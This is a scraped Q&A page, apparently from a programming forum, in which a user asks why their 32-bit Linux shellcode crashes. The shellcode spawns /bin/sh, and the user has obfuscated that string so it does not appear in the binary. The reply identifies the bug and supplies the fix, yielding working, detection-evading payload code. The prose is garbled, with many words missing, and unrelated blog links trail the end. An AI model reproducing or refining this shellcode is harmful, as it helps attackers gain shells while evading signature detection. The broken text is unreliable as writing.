linux - Segmentation fault by replacing an instruction with another that does the same job. Why? -


i have working shellcode spawns shell have modify such hide "/bin/sh" or "sh" coming anywhere in binary after compiling. have hence thought of taking hex value of /bin/sh(2f 62 69 6e 2f 73 68) adding random value 0x11111 , moving value register, subtracting 0x11111 @ runtime , pushing runtime generated value(which becomes /bin/sh) stack , doing execv segmentation fault on 1st step itself. , unable figure out why?

this below code works fine.

section .data  section .text     global _start _start:  xor eax,eax cdq push eax push long 0x68732f2f push long 0x6e69622f mov ebx,esp push eax push ebx mov ecx,esp mov al,0xb xor edx,edx int 0x80 

but change causes segmentation fault

section .data  section .text     global _start _start:  xor eax,eax cdq push eax mov ecx,0x11111 mov ebx,0x68744040 sub ebx,ecx push long eax push long 0x6e69622f mov ebx,esp push eax push ebx mov ecx,esp mov al,0xb xor edx,edx int 0x80 

please me on thie. greatful. thanks

the code different, isn't it? here:

sub ebx,ecx push long eax 

you compute ebx-ecx, push eax. , eax zero.

it should be:

sub ebx,ecx push long ebx 

Comments

Popular posts from this blog

objective c - Change font of selected text in UITextView -

php - Accessing POST data in Facebook cavas app -

c# - Getting control value when switching a view as part of a multiview -